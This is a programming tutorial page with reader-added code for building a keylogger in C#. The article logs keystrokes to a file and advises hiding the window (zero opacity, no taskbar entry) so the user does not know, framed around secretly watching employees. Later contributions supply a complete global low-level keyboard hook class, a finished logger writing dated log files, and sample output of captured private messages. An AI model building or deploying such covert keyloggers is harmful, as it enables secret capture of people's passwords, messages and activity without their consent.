SIGN UP MEMBER LOGIN:    
ARTICLE

Key Logger Application in C#

Posted by Giuseppe Russo Articles | Windows Forms C# June 30, 2002
In this article, I'll explain an easy but an important concept of how to catch user pressed keys and write them into a log file.
Reader Level:
Download Files:
 

Overview

In this article, I'll explain an easy but an important concept of how to catch user pressed keys and write them into a log file.

Description

Often you need to know what kind of key combination your final user has pressed, to know
if theyre doing the things in the right way, or just to know what theyre writing as they are using the computer. Once, one client asked me to monitor the activity of his employees, to see if they were working when he was away.

Obviously I cant write an example like that, I dont have enough room, but I reckon that
this
example will be useful to understand how to write a more difficult one.

We need a form, just put a listbox, just to see whats happening.




now lets
set the KeyPreview Property of the form on true, so that well be able to catch keys.



ok, now lets write some code
in
the KeyUp Event.

private void Form1_KeyUp(object sender, System.Windows.Forms.KeyEventArgs e)
{
listBox1.Items.Add(e.KeyCode);
StreamWriter sw =
new StreamWriter(@"C:\Prova.txt",true);
sw.Write(e.KeyCode);
sw.Close();
}

listBox1.Items.Add(e.KeyCode);

this line of code is to see keys pressed in the listbox;

then lets write the pressed keys
in
a text file:

//Open or Create the file if doesnt exist
StreamWriter sw = new StreamWriter(@"C:\Prova.txt",true);
//Write into the file
sw.Write(e.KeyCode);
//Close the file.
sw.Close();

Finally, I have a very good tip
in order to use the application, without the user knowing.

We need to
set the Opacity Property of the form on 0%, and to set ShowInTaskBar on False otherwise the user will know something is
up.

Before:



after:

Enjoy !!!

Login to add your contents and source code to this article
Article Extensions
Contents added by Andie Du on Mar 31, 2011

Hi Michael,

I just followed ur post and indeed it works fine except that all the logged keystrokes are in upper case, and by digging hard, i just found the solution, probably your already find a way get around it, but i just would like to share it with the other folks on the internet.

Note: The code is based on the below link and changed according my personal needs:

http://www.koders.com/csharp/fidFB1A96705EC8BC4D6B606F8BA13778C9CAA21F63.aspx?s=button

using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace Utilities
{
    /// <summary>
    /// A class that manages a global low level keyboard hook
    /// </summary>
    class globalKeyboardHook
    {
        #region Constant, Structure and Delegate Definitions
        /// <summary>
        /// defines the callback type for the hook
        /// </summary>
        public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);

        public struct keyboardHookStruct
        {
            public int vkCode;
            public int scanCode;
            public int flags;
            public int time;
            public int dwExtraInfo;
        }

        public bool _hookAll = false;
        public bool HookAllKeys
        {
            get
            {
                return _hookAll;
            }
            set
            {
                _hookAll = value;
            }
        }
        const int WH_KEYBOARD_LL = 13;
        const int WM_KEYDOWN = 0x100;
        const int WM_KEYUP = 0x101;
        const int WM_KEYPRESS = 0x102;
        const int WM_SYSKEYDOWN = 0x104;
        const int WM_SYSKEYUP = 0x105;
        const int WM_SYSKEYPRESS = 0x0106;

        /// <summary>
        /// windows virtual key codes
        /// </summary>
        private const byte VK_RETURN = 0X0D; //Enter
        private const byte VK_SPACE = 0X20; //Space
        private const byte VK_SHIFT = 0x10;
        private const byte VK_CAPITAL = 0x14;

        #endregion

        #region Instance Variables
        /// <summary>
        /// The collections of keys to watch for
        /// </summary>
        public List<Keys> HookedKeys = new List<Keys>();
        /// <summary>
        /// Handle to the hook, need this to unhook and call the next hook
        /// </summary>
        IntPtr hhook = IntPtr.Zero;
        keyboardHookProc khp;
        #endregion

        #region Events
        /// <summary>
        /// Occurs when one of the hooked keys is pressed
        /// </summary>
        public event KeyEventHandler KeyDown;
        /// <summary>
        /// Occurs when one of the hooked keys is released
        /// </summary>
        public event KeyEventHandler KeyUp;
        /// <summary>
        /// Occurs when one of the hooked keys is released
        /// </summary>
        public event KeyPressEventHandler KeyPress;
        #endregion

        #region Constructors and Destructors
        /// <summary>
        /// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
        /// </summary>
        public globalKeyboardHook()
        {
            khp = new keyboardHookProc(hookProc);
            hook();
        }
        /// <summary>
        /// Releases unmanaged resources and performs other cleanup operations before the
        /// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
        /// </summary>
        ~globalKeyboardHook()
        {
            unhook();
        }
        #endregion

        #region Public Methods
        /// <summary>
        /// Installs the global hook
        /// </summary>
        public void hook()
        {
            IntPtr hInstance = LoadLibrary("User32");
            hhook = SetWindowsHookEx(WH_KEYBOARD_LL, khp, hInstance, 0);
        }

        /// <summary>
        /// Uninstalls the global hook
        /// </summary>
        public void unhook()
        {
            UnhookWindowsHookEx(hhook);
        }

        /// <summary>
        /// The callback for the keyboard hook
        /// </summary>
        /// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
        /// <param name="wParam">The event type</param>
        /// <param name="lParam">The keyhook event information</param>
        /// <returns></returns>
        public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
        {
            if (code >= 0)
            {
                if (wParam == WM_KEYDOWN)
                {
                    byte[] keyState = new byte[256];
                    GetKeyboardState(keyState);
                    byte[] inBuffer = new byte[2];
                    if (ToAscii(lParam.vkCode, lParam.scanCode, keyState, inBuffer, lParam.flags) == 1)
                    {
                        char key = (char)inBuffer[0];
                        bool isDownShift = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true : false);
                        bool isDownCapslock = (GetKeyState(VK_CAPITAL) != 0 ? true : false);
                        if ((isDownCapslock ^ isDownShift) && Char.IsLetter(key))
                        {
                            key = Char.ToUpper(key);
                        }

                        if (KeyPress != null)
                        {
                            KeyPressEventArgs e = new KeyPressEventArgs(key);
                            KeyPress(this, e);
                            if (e.Handled)
                                return 1;
                        }
                    }
                }
            }
            return CallNextHookEx(hhook, code, wParam, ref lParam);
        }

        #endregion

        #region DLL imports
        /// <summary>
        /// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
        /// </summary>
        /// <param name="idHook">The id of the event you want to hook</param>
        /// <param name="callback">The callback.</param>
        /// <param name="hInstance">The handle you want to attach the event to, can be null</param>
        /// <param name="threadId">The thread you want to attach the event to, can be null</param>
        /// <returns>a handle to the desired hook</returns>
        [DllImport("user32.dll")]
        static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);

        /// <summary>
        /// Unhooks the windows hook.
        /// </summary>
        /// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
        /// <returns>True if successful, false otherwise</returns>
        [DllImport("user32.dll")]
        static extern bool UnhookWindowsHookEx(IntPtr hInstance);

        /// <summary>
        /// Calls the next hook.
        /// </summary>
        /// <param name="idHook">The hook id</param>
        /// <param name="nCode">The hook code</param>
        /// <param name="wParam">The wparam.</param>
        /// <param name="lParam">The lparam.</param>
        /// <returns></returns>
        [DllImport("user32.dll")]
        static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);

        /// <summary>
        /// Loads the library.
        /// </summary>
        /// <param name="lpFileName">Name of the library</param>
        /// <returns>A handle to the library</returns>
        [DllImport("kernel32.dll")]
        static extern IntPtr LoadLibrary(string lpFileName);

        /// <summary>
        ///
        /// </summary>
        /// <param name="pbKeyState"></param>
        /// <returns></returns>
        [DllImport("user32")]
        private static extern int GetKeyboardState(byte[] pbKeyState);

        /// <summary>
        ///
        /// </summary>
        /// <param name="uVirtKey"></param>
        /// <param name="uScanCode"></param>
        /// <param name="lpbKeyState"></param>
        /// <param name="lpwTransKey"></param>
        /// <param name="fuState"></param>
        /// <returns></returns>
        [DllImport("user32")]
        private static extern int ToAscii(
            int uVirtKey,
            int uScanCode,
            byte[] lpbKeyState,
            byte[] lpwTransKey,
            int fuState);

        /// <summary>
        ///
        /// </summary>
        /// <param name="vKey"></param>
        /// <returns></returns>
        [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
        private static extern short GetKeyState(int vKey);
       
        #endregion
    }
}

Contents added by Justin Mangum on Jan 10, 2011
I know this original post is slightly aged, but this reply is for bug me, or anyone who wants to know:
on the keydown event:


                    case Keys.Space:
                        SW.Write(" ");
                        break;

                    case Keys.Enter:
                        SW.Write(Environment.NewLine);
                        break;

                    case Keys.LShiftKey:
                        SW.Write("{SHIFT}");
                        break;

                    default:
                        if (Control.ModifierKeys != Keys.Shift)
                            SW.Write(e.KeyCode.ToString().ToLower());
                        else
                            SW.Write(e.KeyCode);
                        break;
                
            

Also, I prefer to have using statements, as such:
using (StreamWriter SW = new StreamWriter(@"c:\temp\Keylogger " + now.Month + "-" + now.Day + ".txt", true))
          


Also, for the file:
rather than constantly overwrite the file, try something like this:
using (StreamWriter SW = new StreamWriter("Keylogger " + DateTime.Now + ".txt", true))

and completely remove the if file exists then delete statements

My final code looked like this (before making adjustments for... more advanced features)

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using Utilities;
using System.IO;

namespace watcher
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        globalKeyboardHook gkh = new globalKeyboardHook();
        private void HookAll()
        {
            foreach (object key in Enum.GetValues(typeof(Keys)))
            {
                gkh.HookedKeys.Add((Keys)key);
            }
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
            HookAll();
            
        }

        void gkh_KeyDown(object sender, KeyEventArgs e)
        {
            DateTime now = DateTime.Now;
            using (StreamWriter SW = new StreamWriter(@"c:\temp\Keylogger " + now.Month + "-" + now.Day + ".txt", true))
            {
                switch (e.KeyCode)
                {
                    case Keys.Space:
                        SW.Write(" ");
                        break;

                    case Keys.Enter:
                        SW.Write(Environment.NewLine);
                        break;

                    case Keys.LShiftKey:
                        SW.Write("{SHIFT}");
                        break;

                    default:
                        if (Control.ModifierKeys != Keys.Shift)
                            SW.Write(e.KeyCode.ToString().ToLower());
                        else
                            SW.Write(e.KeyCode);
                        break;
                }

                SW.Close();
            }
        }
    }
}

Output example:
{SHIFT}UPPER  lower  enter






enter complete {SHIFT}{SHIFT}UPPER TEST{SHIFT}F5


This of course uses the keyboardhook bug me was so nice to include, which is what I was after when I came looking here.


For those of you saying it doesn't work:
Please make sure you grab the cs file from bug me, and add to your project (you may have to open it within your project before it will start working)

EDIT:
Had to add in some more cases:
    case Keys.OemPeriod:
                        SW.Write(".");
                        break;

                    case Keys.LMenu:
                        SW.Write("{ALT}");
                        break;

                    case Keys.Oem7:
                        SW.Write("'");
                        break;

                    case Keys.Oemcomma:
                        SW.Write(",");
                        break;

You will most likely find that there are many more that need to be added, but after this, here's is what I get:
{SHIFT}Give me a little bit.  {SHIFT}I'll look at it later.
{SHIFT}Including {SHIFT}Arsalan, a member of our {SHIFT}Citrix group.  {SHIFT}He has some questions about the {SHIFT}Citrix server setup for the utility.lcontrolkey
{SHIFT}F5

Contents added by Michael Braun on Mar 26, 2010
Download File: globalKeyboardHook.zip
Hi Joe, I saw your comment and decided to reply; For this to capture keys when the form is not in focus, you need a Keyboard hook. Fortunately I have one on me and am willing to share it.

The file is included in this post

 You'll need this code and to add it to your project solution. Then in the namespace (Form1.cs), add this line:

using Utilities;

When you've done, add this code:

public Form1() { 
InitializeComponent(); 
globalKeyboardHook gkh = new globalKeyboardHook(); 
private void HookAll() { 
foreach (object key in Enum.GetValues(typeof(Keys))) { 
gkh.HookedKeys.Add((Keys)key); 
private void Form1_Load(object sender, EventArgs e) { 
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown); 
HookAll(); 
if (File.Exists(@"Keylogger.txt")) { 
File.Delete(@"Keylogger.txt"); 
void gkh_KeyDown(object sender, KeyEventArgs e) { 
StreamWriter SW = new StreamWriter(@"Keylogger.txt", true); 
SW.Write(e.KeyCode); 
SW.Close();
 }

It should write a line of code to Keylogger.txt in the source folder.

This will work when the form is minimized.

That said, here's my trouble:

After reading the text file after the keylogging occurred, i noticed it had the words all in Upper Case, and for punctuation such as SPACE or ENTER, the word space and enter was used.

Any thoughts on this?
Thanks
Contents added by Joe on Oct 01, 2009
Hi I'm Joe, I love  what you have created but i have a few questions, At the moment it can onyly log keys when the form is in f, Is there a way of capturing the leys being pressed when the form is not in focus? like catching the keys, when the form is befind the application in in program etc?

I am a good programmer but not brillian so when you aply can you please keep is simple thank you,

code so far


        private void frmMain_KeyUp(object sender, KeyEventArgs e)
        {
            string kcode = (Convert.ToString(e.KeyCode));
            string tm = (Convert.ToString(DateTime.Now));

            ListViewItem item = new ListViewItem();
            lvView.Items.Add(item);

            item.Checked = false;
            item.SubItems.Add(kcode);
            item.SubItems.Add(tm);

             lvKeys.Items.Add(e.KeyCode);
           // Open or Create the file if doesnt exist
             StreamWriter sw = new StreamWriter(@"f:\Prova.txt", true);
           // Write into the file
             sw.Write(e.KeyCode);
           // Close the file.
             sw.Close();
        }


thank you again



share this article :
post comment
 

This works, except I had to make the window visible, because it only works when the window is focused, if the window is not focused, / OR visible for you to focus it, it does not detect key strokes...I like it though, please let me know how to make it work with out focusing the window... I tested this on Windows 7 64 bits.

Posted by thiago costa May 01, 2012

just use hooks or polling :)for the lazy ones here a open source c# component that does the job: http://www.whitebyte.info/projects/superkeylogger

Posted by Johann Samuel Apr 23, 2012

great tuts on keylogger keep it up.....!

Posted by Swapnil May 11, 2011

I think this is nice coding and useful. My question is how to capture some keys value which requires to hold shift or right shift and then press the key. For example when I want catch * on keyboard, I have to write some thing like that: else if ((e.KeyCode == Keys.RShiftKey)) { if (e.KeyCode == Keys.OemQuestion) { text = text.Replace(text, "*"); } } but it doesnt work for me. Am I right? or do you think there is a direct method or function to catch some key which the shift or Alt must hold? thank you

Posted by Empratur K May 08, 2011

It's not working properly

Posted by Nilay Buddhadev Oct 09, 2010
Become a Sponsor
PREMIUM SPONSORS
  • ceTE software specializes in components for dynamic PDF generation and manipulation. The DynamicPDF™ product line allows you to dynamically generate PDF documents, merge PDF documents and new content to existing PDF documents from within your applications.
    Finally – a virtual platform that delivers next-generation Windows Server 2008 Hyper-V virtualization technology from a managed hosting partner you can truly depend on. Visit www.maximumasp.com/max for a FREE 30 day trial. Hurry offer ends soon. Climb aboard the MaxV platform and take advantage of High Availability, Intelligent Monitoring, Recurrent Backups, and Scalability – with no hassle or hidden fees. As a managed hosting partner focused solely on Microsoft technologies since 2000, MaximumASP is uniquely qualified to provide the superior support that our business is built on. Unparalleled expertise with Microsoft technologies lead to working directly with Microsoft as first to offer IIS 7 and SQL 2008 betas in a hosted environment; partnering in the Go Live Program for Hyper-V; and product co-launches built on WS 2008 with Hyper-V technology.
Nevron Gauge for SharePoint
Become a Sponsor